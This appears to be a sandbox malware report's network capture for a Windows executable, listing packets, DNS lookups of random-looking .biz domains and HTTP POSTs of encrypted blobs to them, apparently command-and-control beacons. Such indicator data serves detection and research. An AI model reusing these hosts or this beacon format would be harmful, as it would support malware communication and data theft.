Jan 11, 2025 02:50:00.442574978 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:00.442656040 CET	49734	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:00.443238974 CET	49734	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:00.443238974 CET	49734	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:00.448118925 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:00.448128939 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:01.808655024 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:01.808808088 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:01.809087992 CET	49734	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:01.826257944 CET	49734	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:01.831904888 CET	80	49734	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:02.342480898 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:02.347280979 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:02.347378016 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:02.351572037 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:02.351593018 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:02.356327057 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:02.356340885 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:03.071651936 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:03.071778059 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:03.071974039 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:03.126991987 CET	49735	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:03.131803036 CET	80	49735	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:06.417067051 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:06.422027111 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:06.422120094 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:06.453170061 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:06.453217030 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:06.458234072 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:06.458276033 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:07.822432041 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:07.822460890 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:07.822576046 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:07.830287933 CET	49740	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:07.835352898 CET	80	49740	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:08.008878946 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:08.013911963 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:08.014087915 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:08.015928984 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:08.015949011 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:08.020776033 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:08.020790100 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:09.399013996 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:09.399077892 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:09.399142027 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:09.399275064 CET	49741	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:09.403984070 CET	80	49741	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:43.735536098 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:43.740478039 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:43.742069006 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:43.742433071 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:43.742461920 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:43.747266054 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:43.747281075 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:45.119539022 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:45.119570971 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:45.119642019 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:45.119745016 CET	49755	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:50:45.124526024 CET	80	49755	18.141.10.107	192.168.2.4
Jan 11, 2025 02:50:53.342444897 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:53.347362041 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:53.347548962 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:53.347573042 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:53.347711086 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:53.352379084 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:53.352459908 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:54.054244995 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:54.054291964 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:54.054333925 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:54.083955050 CET	49784	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:54.088846922 CET	80	49784	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:57.702322006 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:57.707190990 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:57.707268000 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:57.707410097 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:57.707427025 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:57.712246895 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:57.712274075 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:58.435395956 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:58.435576916 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:58.435631990 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:58.435686111 CET	49814	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:58.440417051 CET	80	49814	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:00.345407963 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:00.350631952 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:00.350718021 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:00.352384090 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:00.352397919 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:00.357189894 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:00.357201099 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:01.113457918 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:01.113579035 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:01.113607883 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:01.113640070 CET	49830	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:01.118423939 CET	80	49830	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:01.334744930 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:01.339757919 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:01.339907885 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:01.340063095 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:01.340074062 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:01.344922066 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:01.344952106 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:02.717515945 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:02.717564106 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:02.717694044 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:02.717725992 CET	49838	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:02.722569942 CET	80	49838	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:04.809648991 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:04.814488888 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:04.814558983 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:04.814688921 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:04.814711094 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:04.819542885 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:04.819554090 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:06.198239088 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:06.198429108 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:06.198489904 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:06.201776981 CET	49861	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:06.206551075 CET	80	49861	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:28.505872965 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:28.522465944 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:28.522609949 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:28.522826910 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:28.522828102 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:28.536164045 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:28.543730021 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:29.895215034 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:29.895227909 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:29.895323038 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:29.895371914 CET	50029	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:29.905991077 CET	80	50029	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:55.081115007 CET	50068	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.087677956 CET	80	50068	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:55.087759972 CET	50068	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.087930918 CET	50068	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.087943077 CET	50068	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.093096972 CET	80	50068	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:55.093111992 CET	80	50068	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:55.637948990 CET	50068	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.641285896 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.646470070 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:55.650871038 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.651063919 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.651084900 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:55.655848026 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:55.655873060 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:56.363780975 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:56.363924026 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:56.363989115 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:56.364620924 CET	50069	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:51:56.372178078 CET	80	50069	54.244.188.177	192.168.2.4
Jan 11, 2025 02:51:58.284117937 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:58.289499044 CET	80	50071	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:58.289603949 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:58.289725065 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:58.289741993 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:58.294934988 CET	80	50071	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:58.294944048 CET	80	50071	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:59.657460928 CET	80	50071	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:59.657627106 CET	80	50071	18.141.10.107	192.168.2.4
Jan 11, 2025 02:51:59.657732010 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:59.725112915 CET	50071	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:51:59.730592966 CET	80	50071	18.141.10.107	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:49:55.064074039 CET	60550	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:49:55.070911884 CET	53	60550	1.1.1.1	192.168.2.4
Jan 11, 2025 02:49:58.076605082 CET	60267	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:49:58.083894014 CET	53	60267	1.1.1.1	192.168.2.4
Jan 11, 2025 02:49:59.421711922 CET	49457	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:49:59.602212906 CET	53	49457	1.1.1.1	192.168.2.4
Jan 11, 2025 02:49:59.650095940 CET	64283	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:49:59.657921076 CET	53	64283	1.1.1.1	192.168.2.4
Jan 11, 2025 02:50:00.408363104 CET	55308	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:50:00.415395021 CET	53	55308	1.1.1.1	192.168.2.4
Jan 11, 2025 02:50:02.121021986 CET	51155	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:50:02.128346920 CET	53	51155	1.1.1.1	192.168.2.4
Jan 11, 2025 02:50:06.393011093 CET	53	56594	1.1.1.1	192.168.2.4
Jan 11, 2025 02:50:09.468667030 CET	53	63950	1.1.1.1	192.168.2.4
Jan 11, 2025 02:50:09.478501081 CET	53	65397	1.1.1.1	192.168.2.4
Jan 11, 2025 02:51:06.229120016 CET	53	54677	1.1.1.1	192.168.2.4
Jan 11, 2025 02:51:26.103368998 CET	53	57543	1.1.1.1	192.168.2.4
Jan 11, 2025 02:51:59.725712061 CET	55514	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:51:59.733494043 CET	53	55514	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:49:55.064074039 CET	192.168.2.4	1.1.1.1	0x4b23	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:58.076605082 CET	192.168.2.4	1.1.1.1	0x56f9	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:59.421711922 CET	192.168.2.4	1.1.1.1	0x9670	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:59.650095940 CET	192.168.2.4	1.1.1.1	0xce8e	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:00.408363104 CET	192.168.2.4	1.1.1.1	0x6ec8	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:02.121021986 CET	192.168.2.4	1.1.1.1	0xdc67	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:51:59.725712061 CET	192.168.2.4	1.1.1.1	0x98bf	Standard query (0)	pwlqfu.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:49:55.070911884 CET	1.1.1.1	192.168.2.4	0x4b23	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:58.083894014 CET	1.1.1.1	192.168.2.4	0x56f9	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:59.602212906 CET	1.1.1.1	192.168.2.4	0x9670	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:49:59.657921076 CET	1.1.1.1	192.168.2.4	0xce8e	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:00.415395021 CET	1.1.1.1	192.168.2.4	0x6ec8	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:02.128346920 CET	1.1.1.1	192.168.2.4	0xdc67	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:06.393011093 CET	1.1.1.1	192.168.2.4	0x2e8c	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:09.468667030 CET	1.1.1.1	192.168.2.4	0x38a9	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:50:09.478501081 CET	1.1.1.1	192.168.2.4	0x3164	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:51:59.733494043 CET	1.1.1.1	192.168.2.4	0x98bf	No error (0)	pwlqfu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

knjghuig.biz

vcddkls.biz

dwrqljrr.biz

oshhkdluh.biz

lrxdmhrr.biz

wllvnzb.biz

acwjcqqv.biz

warkcdu.biz

rynmcq.biz

eufxebus.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	54.244.188.177	80	3748	C:\Users\user\Desktop\BzK8rQh2O3.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:49:57.239729881 CET	359	OUT	POST /sqhuoucbvpfptw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Jan 11, 2025 02:49:57.239775896 CET	800	OUT	Data Raw: 07 f7 4b d3 e2 2e 94 6f 14 03 00 00 14 42 41 a1 b0 fd dc b4 6d 95 f7 94 9c f6 ef 51 c8 61 f2 f3 a4 d6 99 ca 16 14 54 98 a2 d8 77 fe f0 9d fd c1 c2 e8 f4 18 76 da 74 d2 cc b5 c5 47 45 df d0 dc 77 03 4d 39 56 03 28 6a 9e fe 3e d5 0f 5c 25 7e 2c 32 Data Ascii: K.oBAmQaTwvtGEwM9V(j>\%~,2"^fC]/wa,`@H86#"G$GNM\c?(uQZG{#KbN+lH{9aqAWiT2>Ak3
Jan 11, 2025 02:49:57.902586937 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:49:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=55d89a1c91491eab853aa90bbc2fbf10\|8.46.123.189\|1736560197\|1736560197\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	18.141.10.107	80	3748	C:\Users\user\Desktop\BzK8rQh2O3.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:49:58.246318102 CET	346	OUT	POST /ahu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Jan 11, 2025 02:49:58.246344090 CET	800	OUT	Data Raw: 5c cb e9 f9 7d 05 a5 d1 14 03 00 00 1e 6e 33 9c e3 4f 19 8e c8 ad 81 8f ec c4 7b 68 96 eb 13 91 52 a2 f9 53 ee 38 2d 0d e5 f0 a7 13 bd a8 94 d7 71 86 61 e7 c9 99 2f a6 ff 8b 80 57 4f 93 62 ab 06 62 32 00 fd 3d 10 b1 82 7d a2 0b 40 59 9d c3 82 27 Data Ascii: \}n3O{hRS8-qa/WObb2=}@Y'jtae1q^5)[2ya`}FifOhZ,R#n<bTXkZc,Gb)$!/K]I1X:QE>:#6M?F+PJh[SR39'b
Jan 11, 2025 02:49:59.641352892 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:49:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9e7e97df5d8d1fb12480acdb23281677\|8.46.123.189\|1736560199\|1736560199\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:49:59.658651114 CET	355	OUT	POST /nxbrnchslf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:49:59.658675909 CET	874	OUT	Data Raw: 7e bd ca f4 73 34 a9 d1 5e 03 00 00 5a 5e 0b 6e e6 3c 47 6c cd a1 d0 eb 21 2b 2d c5 cf b3 39 1b 54 08 fa 1b 86 32 19 cc fc 3f 73 34 29 1f 8c a5 10 b5 21 e0 48 02 39 3b 6b 19 da f1 1a 1f f5 af 49 d3 4a 6a 1b 51 53 96 02 a9 b8 93 33 76 61 6c 65 00 Data Ascii: ~s4^Z^n<Gl!+-9T2?s4)!H9;kIJjQS3valeQWzS@@VRu~G:Oc#8HAEdBA`}hq71W`e}P6l[??C0\|TKiJBMH5:Md
Jan 11, 2025 02:50:00.372627020 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6de47d8ddd0813bd180efd24cad336f2\|8.46.123.189\|1736560200\|1736560200\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	54.244.188.177	80	3748	C:\Users\user\Desktop\BzK8rQh2O3.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:49:59.673257113 CET	357	OUT	POST /flkkbmligcvmrctj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Jan 11, 2025 02:49:59.673310041 CET	800	OUT	Data Raw: 2f b5 65 be ea 6f b0 b2 14 03 00 00 b5 86 a3 42 3b a6 38 0c 92 a4 07 c3 bd 66 45 cd e8 58 01 47 58 7c 02 7e 07 93 da b1 05 d5 d7 e3 89 bd 29 a4 58 a9 1a 23 d2 35 e7 e3 37 c1 31 22 90 83 e2 e5 4a de 4b 3c 62 4a 58 55 92 f0 20 33 06 39 3d bf 7a e2 Data Ascii: /eoB;8fEXGX\|~)X#571"JK<bJXU 39=z\|V1O ifE9ReWHH8f0j.W0Jo$iVtT(>gH}r\|}[5}L1<d3c5Fg<vGB"RXgkd>
Jan 11, 2025 02:50:00.391931057 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=09cca80dea83057d593a00c42d8523f8\|8.46.123.189\|1736560200\|1736560200\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:00.443238974 CET	348	OUT	POST /ggjlw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:00.443238974 CET	874	OUT	Data Raw: a9 8d fb d1 9f 37 98 63 5e 03 00 00 69 4a 41 a0 38 7d e5 27 c9 50 ec b3 8e e4 e9 d8 97 69 dd 33 fd 66 8f 11 e4 00 cf 47 d0 f2 2a 20 85 fc bf f1 d7 9f 5a eb 34 92 d9 c7 3d 0d b1 bb 97 50 78 1b 01 8c 38 8f 95 9b 76 48 62 cf fe 26 64 39 18 82 92 88 Data Ascii: 7c^iJA8}'Pi3fG* Z4=Px8vHb&d9aW&II)RTQM6@FmC>64&\hs whMIL2q7vPeUnV0",YNKAjwoh Ng]'j=[Cx
Jan 11, 2025 02:50:01.808655024 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e19a54547053b3473824b9ec1383a7cb\|8.46.123.189\|1736560201\|1736560201\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:02.351572037 CET	348	OUT	POST /dufkpol HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
